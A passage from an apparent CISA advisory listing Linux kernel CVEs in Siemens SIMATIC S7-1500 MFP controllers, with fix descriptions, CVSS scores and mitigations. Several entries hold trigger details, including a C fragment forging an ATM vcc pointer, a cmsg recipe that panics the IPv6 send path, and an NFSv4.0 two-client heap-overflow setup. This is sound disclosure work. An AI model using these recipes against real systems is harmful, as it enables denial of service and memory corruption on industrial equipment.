<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/617.html">CWE-617 Reachable Assertion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31389</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: spi: fix use-after-free on controller registration failure Make sure to deregister from driver core also in the unlikely event that per-cpu statistics allocation fails during controller registration to avoid use-after-free (of driver resources) and unclocked register accesses.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31389">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31391</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: atmel-sha204a - Fix OOM -&gt;tfm_count leak If memory allocation fails, decrement -&gt;tfm_count to avoid blocking future reads.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31391">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31396</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: macb: fix use-after-free access to PTP clock PTP clock is registered on every opening of the interface and destroyed on every closing. However it may be accessed via get_ts_info ethtool call which is possible while the interface is just present in the kernel. BUG: KASAN: use-after-free in ptp_clock_index+0x47/0x50 drivers/ptp/ptp_clock.c:426 Read of size 4 at addr ffff8880194345cc by task syz.0.6/948 CPU: 1 PID: 948 Comm: syz.0.6 Not tainted 6.1.164+ #109 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.1-0-g3208b098f51a-prebuilt.qemu.org 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x8d/0xba lib/dump_stack.c:106 print_address_description mm/kasan/report.c:316 [inline] print_report+0x17f/0x496 mm/kasan/report.c:420 kasan_report+0xd9/0x180 mm/kasan/report.c:524 ptp_clock_index+0x47/0x50 drivers/ptp/ptp_clock.c:426 gem_get_ts_info+0x138/0x1e0 drivers/net/ethernet/cadence/macb_main.c:3349 macb_get_ts_info+0x68/0xb0 drivers/net/ethernet/cadence/macb_main.c:3371 __ethtool_get_ts_info+0x17c/0x260 net/ethtool/common.c:558 ethtool_get_ts_info net/ethtool/ioctl.c:2367 [inline] __dev_ethtool net/ethtool/ioctl.c:3017 [inline] dev_ethtool+0x2b05/0x6290 net/ethtool/ioctl.c:3095 dev_ioctl+0x637/0x1070 net/core/dev_ioctl.c:510 sock_do_ioctl+0x20d/0x2c0 net/socket.c:1215 sock_ioctl+0x577/0x6d0 net/socket.c:1320 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:870 [inline] __se_sys_ioctl fs/ioctl.c:856 [inline] __x64_sys_ioctl+0x18c/0x210 fs/ioctl.c:856 do_syscall_x64 arch/x86/entry/common.c:46 [inline] do_syscall_64+0x35/0x80 arch/x86/entry/common.c:76 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 Allocated by task 457: kmalloc include/linux/slab.h:563 [inline] kzalloc include/linux/slab.h:699 [inline] ptp_clock_register+0x144/0x10e0 drivers/ptp/ptp_clock.c:235 gem_ptp_init+0x46f/0x930 drivers/net/ethernet/cadence/macb_ptp.c:375 macb_open+0x901/0xd10 drivers/net/ethernet/cadence/macb_main.c:2920 __dev_open+0x2ce/0x500 net/core/dev.c:1501 __dev_change_flags+0x56a/0x740 net/core/dev.c:8651 dev_change_flags+0x92/0x170 net/core/dev.c:8722 do_setlink+0xaf8/0x3a80 net/core/rtnetlink.c:2833 __rtnl_newlink+0xbf4/0x1940 net/core/rtnetlink.c:3608 rtnl_newlink+0x63/0xa0 net/core/rtnetlink.c:3655 rtnetlink_rcv_msg+0x3c6/0xed0 net/core/rtnetlink.c:6150 netlink_rcv_skb+0x15d/0x430 net/netlink/af_netlink.c:2511 netlink_unicast_kernel net/netlink/af_netlink.c:1318 [inline] netlink_unicast+0x6d7/0xa30 net/netlink/af_netlink.c:1344 netlink_sendmsg+0x97e/0xeb0 net/netlink/af_netlink.c:1872 sock_sendmsg_nosec net/socket.c:718 [inline] __sock_sendmsg+0x14b/0x180 net/socket.c:730 __sys_sendto+0x320/0x3b0 net/socket.c:2152 __do_sys_sendto net/socket.c:2164 [inline] __se_sys_sendto net/socket.c:2160 [inline] __x64_sys_sendto+0xdc/0x1b0 net/socket.c:2160 do_syscall_x64 arch/x86/entry/common.c:46 [inline] do_syscall_64+0x35/0x80 arch/x86/entry/common.c:76 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 Freed by task 938: kasan_slab_free include/linux/kasan.h:177 [inline] slab_free_hook mm/slub.c:1729 [inline] slab_free_freelist_hook mm/slub.c:1755 [inline] slab_free mm/slub.c:3687 [inline] __kmem_cache_free+0xbc/0x320 mm/slub.c:3700 device_release+0xa0/0x240 drivers/base/core.c:2507 kobject_cleanup lib/kobject.c:681 [inline] kobject_release lib/kobject.c:712 [inline] kref_put include/linux/kref.h:65 [inline] kobject_put+0x1cd/0x350 lib/kobject.c:729 put_device+0x1b/0x30 drivers/base/core.c:3805 ptp_clock_unregister+0x171/0x270 drivers/ptp/ptp_clock.c:391 gem_ptp_remove+0x4e/0x1f0 drivers/net/ethernet/cadence/macb_ptp.c:404 macb_close+0x1c8/0x270 drivers/net/ethernet/cadence/macb_main.c:2966 __dev_close_many+0x1b9/0x310 net/core/dev.c:1585 __dev_close net/core/dev.c:1597 [inline] __dev_change_flags+0x2bb/0x740 net/core/dev.c:8649 dev_change_fl ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31396">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31402</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache The NFSv4.0 replay cache uses a fixed 112-byte inline buffer (rp_ibuf[NFSD4_REPLAY_ISIZE]) to store encoded operation responses. This size was calculated based on OPEN responses and does not account for LOCK denied responses, which include the conflicting lock owner as a variable-length field up to 1024 bytes (NFS4_OPAQUE_LIMIT). When a LOCK operation is denied due to a conflict with an existing lock that has a large owner, nfsd4_encode_operation() copies the full encoded response into the undersized replay buffer via read_bytes_from_xdr_buf() with no bounds check. This results in a slab-out-of-bounds write of up to 944 bytes past the end of the buffer, corrupting adjacent heap memory. This can be triggered remotely by an unauthenticated attacker with two cooperating NFSv4.0 clients: one sets a lock with a large owner string, then the other requests a conflicting lock to provoke the denial. We could fix this by increasing NFSD4_REPLAY_ISIZE to allow for a full opaque, but that would increase the size of every stateowner, when most lockowners are not that large. Instead, fix this by checking the encoded response length against NFSD4_REPLAY_ISIZE before copying into the replay buffer. If the response is too large, set rp_buflen to 0 to skip caching the replay payload. The status is still cached, and the client already received the correct response on the original request.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31402">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31403</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFSD: Hold net reference for the lifetime of /proc/fs/nfs/exports fd The /proc/fs/nfs/exports proc entry is created at module init and persists for the module's lifetime. exports_proc_open() captures the caller's current network namespace and stores its svc_export_cache in seq-&gt;private, but takes no reference on the namespace. If the namespace is subsequently torn down (e.g. container destruction after the opener does setns() to a different namespace), nfsd_net_exit() calls nfsd_export_shutdown() which frees the cache. Subsequent reads on the still-open fd dereference the freed cache_detail, walking a freed hash table. Hold a reference on the struct net for the lifetime of the open file descriptor. This prevents nfsd_net_exit() from running -- and thus prevents nfsd_export_shutdown() from freeing the cache -- while any exports fd is open. cache_detail already stores its net pointer (cd-&gt;net, set by cache_create_net()), so exports_release() can retrieve it without additional per-file storage.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31403">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31411</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: atm: fix crash due to unvalidated vcc pointer in sigd_send() Reproducer available at [1]. The ATM send path (sendmsg -&gt; vcc_sendmsg -&gt; sigd_send) reads the vcc pointer from msg-&gt;vcc and uses it directly without any validation. This pointer comes from userspace via sendmsg() and can be arbitrarily forged: int fd = socket(AF_ATMSVC, SOCK_DGRAM, 0); ioctl(fd, ATMSIGD_CTRL); // become ATM signaling daemon struct msghdr msg = { .msg_iov = &amp;iov, ... }; *(unsigned long *)(buf + 4) = 0xdeadbeef; // fake vcc pointer sendmsg(fd, &amp;msg, 0); // kernel dereferences 0xdeadbeef In normal operation, the kernel sends the vcc pointer to the signaling daemon via sigd_enq() when processing operations like connect(), bind(), or listen(). The daemon is expected to return the same pointer when responding. However, a malicious daemon can send arbitrary pointer values. Fix this by introducing find_get_vcc() which validates the pointer by searching through vcc_hash (similar to how sigd_close() iterates over all VCCs), and acquires a reference via sock_hold() if found. Since struct atm_vcc embeds struct sock as its first member, they share the same lifetime. Therefore using sock_hold/sock_put is sufficient to keep the vcc alive while it is being used. Note that there may be a race with sigd_close() which could mark the vcc with various flags (e.g., ATM_VF_RELEASED) after find_get_vcc() returns. However, sock_hold() guarantees the memory remains valid, so this race only affects the logical state, not memory safety. [1]: https://gist.github.com/mrpre/1ba5949c45529c511152e2f4c755b0f3</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31411">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/822.html">CWE-822 Untrusted Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31414</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_expect: use expect-&gt;helper Use expect-&gt;helper in ctnetlink and /proc to dump the helper name. Using nfct_help() without holding a reference to the master conntrack is unsafe. Use exp-&gt;master-&gt;helper in ctnetlink path if userspace does not provide an explicit helper when creating an expectation to retain the existing behaviour. The ctnetlink expectation path holds the reference on the master conntrack and nf_conntrack_expect lock and the nfnetlink glue path refers to the master ct that is attached to the skb.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31414">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31415</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: avoid overflows in ip6_datagram_send_ctl() Yiming Qian reported : I believe I found a locally triggerable kernel bug in the IPv6 sendmsg ancillary-data path that can panic the kernel via `skb_under_panic()` (local DoS). The core issue is a mismatch between: - a 16-bit length accumulator (`struct ipv6_txoptions::opt_flen`, type `__u16`) and - a pointer to the *last* provided destination-options header (`opt-&gt;dst1opt`) when multiple `IPV6_DSTOPTS` control messages (cmsgs) are provided. - `include/net/ipv6.h`: - `struct ipv6_txoptions::opt_flen` is `__u16` (wrap possible). (lines 291-307, especially 298) - `net/ipv6/datagram.c:ip6_datagram_send_ctl()`: - Accepts repeated `IPV6_DSTOPTS` and accumulates into `opt_flen` without rejecting duplicates. (lines 909-933) - `net/ipv6/ip6_output.c:__ip6_append_data()`: - Uses `opt-&gt;opt_flen + opt-&gt;opt_nflen` to compute header sizes/headroom decisions. (lines 1448-1466, especially 1463-1465) - `net/ipv6/ip6_output.c:__ip6_make_skb()`: - Calls `ipv6_push_frag_opts()` if `opt-&gt;opt_flen` is non-zero. (lines 1930-1934) - `net/ipv6/exthdrs.c:ipv6_push_frag_opts()` / `ipv6_push_exthdr()`: - Push size comes from `ipv6_optlen(opt-&gt;dst1opt)` (based on the pointed-to header). (lines 1179-1185 and 1206-1211) 1. `opt_flen` is a 16-bit accumulator: - `include/net/ipv6.h:298` defines `__u16 opt_flen; /* after fragment hdr */`. 2. `ip6_datagram_send_ctl()` accepts *repeated* `IPV6_DSTOPTS` cmsgs and increments `opt_flen` each time: - In `net/ipv6/datagram.c:909-933`, for `IPV6_DSTOPTS`: - It computes `len = ((hdr-&gt;hdrlen + 1) &lt;&lt; 3);` - It checks `CAP_NET_RAW` using `ns_capable(net-&gt;user_ns, CAP_NET_RAW)`. (line 922) - Then it does: - `opt-&gt;opt_flen += len;` (line 927) - `opt-&gt;dst1opt = hdr;` (line 928) There is no duplicate rejection here (unlike the legacy `IPV6_2292DSTOPTS` path which rejects duplicates at `net/ipv6/datagram.c:901-904`). If enough large `IPV6_DSTOPTS` cmsgs are provided, `opt_flen` wraps while `dst1opt` still points to a large (2048-byte) destination-options header. In the attached PoC (`poc.c`): - 32 cmsgs with `hdrlen=255` =&gt; `len = (255+1)*8 = 2048` - 1 cmsg with `hdrlen=0` =&gt; `len = 8` - Total increment: `32*2048 + 8 = 65544`, so `(__u16)opt_flen == 8` - The last cmsg is 2048 bytes, so `dst1opt` points to a 2048-byte header. 3. The transmit path sizes headers using the wrapped `opt_flen`: - In `net/ipv6/ip6_output.c:1463-1465`: - `headersize = sizeof(struct ipv6hdr) + (opt ? opt-&gt;opt_flen + opt-&gt;opt_nflen : 0) + ...;` With wrapped `opt_flen`, `headersize`/headroom decisions underestimate what will be pushed later. 4. When building the final skb, the actual push length comes from `dst1opt` and is not limited by wrapped `opt_flen`: - In `net/ipv6/ip6_output.c:1930-1934`: - `if (opt-&gt;opt_flen) proto = ipv6_push_frag_opts(skb, opt, proto);` - In `net/ipv6/exthdrs.c:1206-1211`, `ipv6_push_frag_opts()` pushes `dst1opt` via `ipv6_push_exthdr()`. - In `net/ipv6/exthdrs.c:1179-1184`, `ipv6_push_exthdr()` does: - `skb_push(skb, ipv6_optlen(opt));` - `memcpy(h, opt, ipv6_optlen(opt));` With insufficient headroom, `skb_push()` underflows and triggers `skb_under_panic()` -&gt; `BUG()`: - `net/core/skbuff.c:2669-2675` (`skb_push()` calls `skb_under_panic()`) - `net/core/skbuff.c:207-214` (`skb_panic()` ends in `BUG()`) - The `IPV6_DSTOPTS` cmsg path requires `CAP_NET_RAW` in the target netns user namespace 